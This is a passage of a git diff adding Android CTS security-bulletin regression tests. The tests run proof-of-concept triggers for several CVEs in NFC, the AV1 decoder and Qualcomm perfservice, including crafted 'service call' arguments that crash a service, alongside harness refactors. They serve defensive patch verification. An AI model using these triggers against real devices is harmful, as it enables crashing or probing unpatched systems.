+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_rw_i93_send_cmd_write_single_block =
+ (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
+ RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+ if (!real_rw_i93_send_cmd_write_single_block) {
+ return;
+ }
+
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ void *ptr = nullptr;
+ if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+ ptr = malloc(size);
+ memset(ptr, DEFAULT_VALUE, size);
+ kVulnPtr = ptr;
+ kVulnSize = size;
+ } else {
+ ptr = real_GKI_getbuf(size);
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kVulnPtr) {
+ free(ptr);
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
+ uint8_t *p_data) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (p_data == kVulnPtr) {
+ for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+ if (p_data[n] == DEFAULT_VALUE) {
+ kIsVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->block_size = 7;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 0000000..1876c60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0470",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ shared_libs: [
+ "libmediandk",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 0000000..d434e11
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *inFile = fopen(argv[1], "rb");
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ AMediaCodec *codec;
+ media_status_t status;
+ int64_t inActiveTime = 0ll;
+ bool isEncoder = false;
+
+ codec = AMediaCodec_createCodecByName("c2.android.av1-aom.decoder");
+ if (!codec) {
+ fclose(inFile);
+ return EXIT_FAILURE;
+ }
+ /* Set Format */
+ AMediaFormat *format = AMediaFormat_new();
+ if (!format) {
+ fclose(inFile);
+ AMediaCodec_delete(codec);
+ return EXIT_FAILURE;
+ }
+ AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+ AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+ AMediaCodec_start(codec);
+
+ size_t filePos = 0;
+ bool inputEOS = false;
+ while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+ /* Queue input data */
+ if (!inputEOS) {
+ uint32_t bufferFlags = 0;
+ ssize_t inIdx =
+ AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (inIdx >= 0) {
+ ssize_t bytesRead = 0;
+ size_t bufSize;
+ uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+ if (filePos < FILE_SIZE) {
+ bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+ filePos += FILE_SIZE;
+ fseek(inFile, filePos, SEEK_SET);
+ }
+ if (bytesRead <= 0) {
+ bytesRead = 0;
+ inputEOS = true;
+ bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+ }
+ status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ /* Dequeue output */
+ AMediaCodecBufferInfo info;
+ ssize_t outIdx =
+ AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+ outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+ inActiveTime = 0;
+ } else if (outIdx >= 0) {
+ status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ AMediaFormat_delete(format);
+ AMediaCodec_stop(codec);
+ AMediaCodec_delete(codec);
+ fclose(inFile);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index bc93c1e..0f894a6 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,11 +36,9 @@
time_t start_timer(void);
int timer_active(time_t timer_started);
-time_t start_timer(){
- return time(NULL);
-}
+inline time_t start_timer() { return time(NULL); }
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started) {
return time(NULL) < (timer_started + MAX_TEST_DURATION);
}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index 80e125f..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -172,14 +172,14 @@
#ifdef CHECK_UNINITIALIZED_MEMORY
bool is_memory_uninitialized() {
for (int i = 0; i < s_allocation_index; ++i) {
- char *mem_ptr = s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
size_t mem_size = s_allocation_list[i].mem_size;
if (mem_ptr) {
#ifdef CHECK_FOUR_BYTES
if(mem_size > (2 * sizeof(uint32_t))) {
- char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
- char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+ uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
for (size_t j = 0; j < sizeof(uint32_t); ++j) {
if (*mem_ptr_start++ == INITIAL_VAL) {
return true;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6d9454f..5d22ed1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -17,6 +17,9 @@
package android.security.cts;
import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
import com.android.ddmlib.CollectingOutputReceiver;
@@ -37,6 +40,7 @@
import java.util.Arrays;
import java.util.ArrayList;
import java.util.concurrent.Callable;
+import java.util.Collections;
import org.json.JSONArray;
import org.json.JSONException;
@@ -53,6 +57,20 @@
final static int TIMEOUT_SEC = 9 * 60;
final static String RESOURCE_ROOT = "/";
+ public static class pocConfig {
+ String binaryName;
+ String arguments;
+ String inputFilesDestination;
+ ITestDevice device;
+ CrashUtils.Config config;
+ List<String> inputFiles = Collections.emptyList();
+
+ pocConfig(String binaryName, ITestDevice device) {
+ this.binaryName = binaryName;
+ this.device = device;
+ }
+ }
+
/** Runs a commandline on the specified device
*
* @param command the command to be ran
@@ -142,8 +160,11 @@
* @param arguments input arguments for the poc
* @param receiver the type of receiver to run against
*/
- public static void runPoc(String pocName, ITestDevice device, int timeout,
+ public static int runPoc(String pocName, ITestDevice device, int timeout,
String arguments, IShellOutputReceiver receiver) throws Exception {
+ String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+ SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
assertPocExecutable(pocName, device);
if (receiver == null) {
receiver = new NullOutputReceiver();
@@ -151,8 +172,32 @@
if (arguments == null) {
arguments = "";
}
- device.executeShellCommand(TMP_PATH + pocName + " " + arguments,
+
+ // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+ // status to a file temporarily
+ String exitStatusFilepath = TMP_PATH + "exit_status";
+ runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+ device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+ "; echo $? > " + exitStatusFilepath, // echo exit status to file
receiver, timeout, TimeUnit.SECONDS, 0);
+
+ // cat the exit status
+ String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ int exitStatus = -1;
+ try {
+ exitStatus = Integer.parseInt(exitStatusString);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ } catch (NumberFormatException e) {
+ // Getting the exit status is a bonus. We can continue without it.
+ CLog.w("Could not parse exit status to int: %s", exitStatusString);
+ }
+ reportLog.submit();
+
+ runCommandLine("rm " + exitStatusFilepath, device);
+ return exitStatus;
}
/**
@@ -260,10 +305,12 @@
*/
public static void pushResources(String[] inputFiles, String inputFilesDestination,
ITestDevice device) throws Exception {
- if ( (inputFiles != null) && (inputFilesDestination != null)) {
- for (String tempFile : inputFiles) {
- pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
- }
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't push resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
}
}
@@ -277,10 +324,12 @@
*/
public static void removeResources(String[] inputFiles, String inputFilesDestination,
ITestDevice device) throws Exception {
- if ( (inputFiles != null) && (inputFilesDestination != null)) {
- for (String tempFile : inputFiles) {
- runCommandLine("rm " + inputFilesDestination + tempFile, device);
- }
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't remove resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ runCommandLine("rm " + inputFilesDestination + tempFile, device);
}
}
@@ -307,15 +356,21 @@
*/
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
long time = System.currentTimeMillis();
- String exitStatus = runCommandLine(
+ String exitStatusString = runCommandLine(
"(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
time = System.currentTimeMillis() - time;
+
try {
- return Integer.parseInt(exitStatus);
+ int exitStatus = Integer.parseInt(exitStatusString);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+ return exitStatus;
} catch (NumberFormatException e) {
throw new IllegalArgumentException(String.format(
"Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatus, cmd, time));
+ exitStatusString, cmd, time));
}
}
@@ -356,20 +411,7 @@
*/
public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
int timeout) throws Exception {
- assertPocExecutable(pocName, device);
- CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
- long time = System.currentTimeMillis();
- device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
- time = System.currentTimeMillis() - time;
- String exitStatus = receiver.getOutput().trim();
- try {
- return Integer.parseInt(exitStatus);
- } catch (NumberFormatException e) {
- throw new IllegalArgumentException(String.format(
- "Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatus, cmd, time));
- }
+ return runPoc(pocName, device, timeout, arguments, null);
}
/**
@@ -522,10 +564,45 @@
public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
String inputFiles[], String inputFilesDestination, ITestDevice device,
String processPatternStrings[]) throws Exception {
- pushResources(inputFiles, inputFilesDestination, device);
- runCommandLine("logcat -c", device);
+ pocConfig testConfig = new pocConfig(binaryName, device);
+ testConfig.arguments = arguments;
+
+ if (inputFiles != null) {
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = inputFilesDestination;
+ }
+
+ List<String> processPatternList = new ArrayList<>();
+ if (processPatternStrings != null) {
+ processPatternList.addAll(Arrays.asList(processPatternStrings));
+ }
+ processPatternList.add(binaryName);
+ String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+ processPatternList.toArray(processPatternStringsWithSelf);
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+ runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 3 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. There are no security crashes that match the expected process pattern.
+ * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param testConfig test configuration
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+ String[] inputFiles = null;
+ if(!testConfig.inputFiles.isEmpty()) {
+ inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+ pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
+ runCommandLine("logcat -c", testConfig.device);
try {
- runPocAssertExitStatusNotVulnerable(binaryName, arguments, device, TIMEOUT_SEC);
+ runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+ testConfig.device, TIMEOUT_SEC);
} catch (IllegalArgumentException e) {
/*
* Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
@@ -535,16 +612,14 @@
*/
CLog.w("Ignoring IllegalArgumentException: " + e);
} finally {
- removeResources(inputFiles, inputFilesDestination, device);
+ if (!testConfig.inputFiles.isEmpty()) {
+ removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
}
- List<String> processPatternList = new ArrayList<>();
- if (processPatternStrings != null) {
- processPatternList.addAll(Arrays.asList(processPatternStrings));
+ if (testConfig.config == null) {
+ testConfig.config = new CrashUtils.Config();
}
- processPatternList.add(binaryName);
- String[] processPatternStringsWithSelf = new String[processPatternList.size()];
- processPatternList.toArray(processPatternStringsWithSelf);
- assertNoCrashes(device, processPatternStringsWithSelf);
+ assertNoCrashes(testConfig.device, testConfig.config);
}
/**
@@ -572,6 +647,12 @@
JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("security_crashes", securityCrashes.toString(),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
if (securityCrashes.length() == 0) {
return; // no security crashes detected
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
new file mode 100644
index 0000000..81100e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0461 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testPocCVE_2020_0461() throws Exception {
+ assumeTrue(containsDriver(getDevice(),
+ "/sys/devices/system/cpu/vulnerabilities/meltdown"));
+ String meltdown = AdbUtils.runCommandLine(
+ "cat /sys/devices/system/cpu/vulnerabilities/meltdown", getDevice());
+ assertFalse(meltdown.startsWith("Vulnerable"));
+ assertTrue(meltdown.startsWith("Not affected") ||
+ meltdown.startsWith("Mitigation"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
new file mode 100644
index 0000000..fe42a0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0462 extends SecurityTestCase {
+
+ /**
+ * b/169161709
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testPocCVE_2020_0462() throws Exception {
+ assumeTrue(containsDriver(getDevice(),
+ "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
+ String spec_store_bypass = AdbUtils.runCommandLine(
+ "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
+ assertFalse(spec_store_bypass.startsWith("Vulnerable"));
+ assertTrue(spec_store_bypass.startsWith("Not affected") ||
+ spec_store_bypass.startsWith("Mitigation"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+ /**
+ * CVE-2019-14002
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testPocCVE_2019_14002() throws Exception {
+ String result =
+ AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+ assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2020-3635
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3635() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+ }
+ }
+
+ /**
+ * CVE-2020-3626
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3626() throws Exception {
+ String isApplicable =
+ AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+ if (!isApplicable.isEmpty()) {
+ String result =
+ AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+ assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+ }
+ }
+
+ /**
+ * CVE-2020-3628
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3628() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.qti.logkit",getDevice());
+ assertFalse(result.contains("com.qualcomm.qti.logkit"));
+ }
+
+ /**
+ * CVE-2020-3676
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3676() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..627f098
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0437() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.cellbroadcast"));
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am broadcast " +
+ "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+ "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+ "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+ getDevice());
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..fe8c239
--- /dev/null
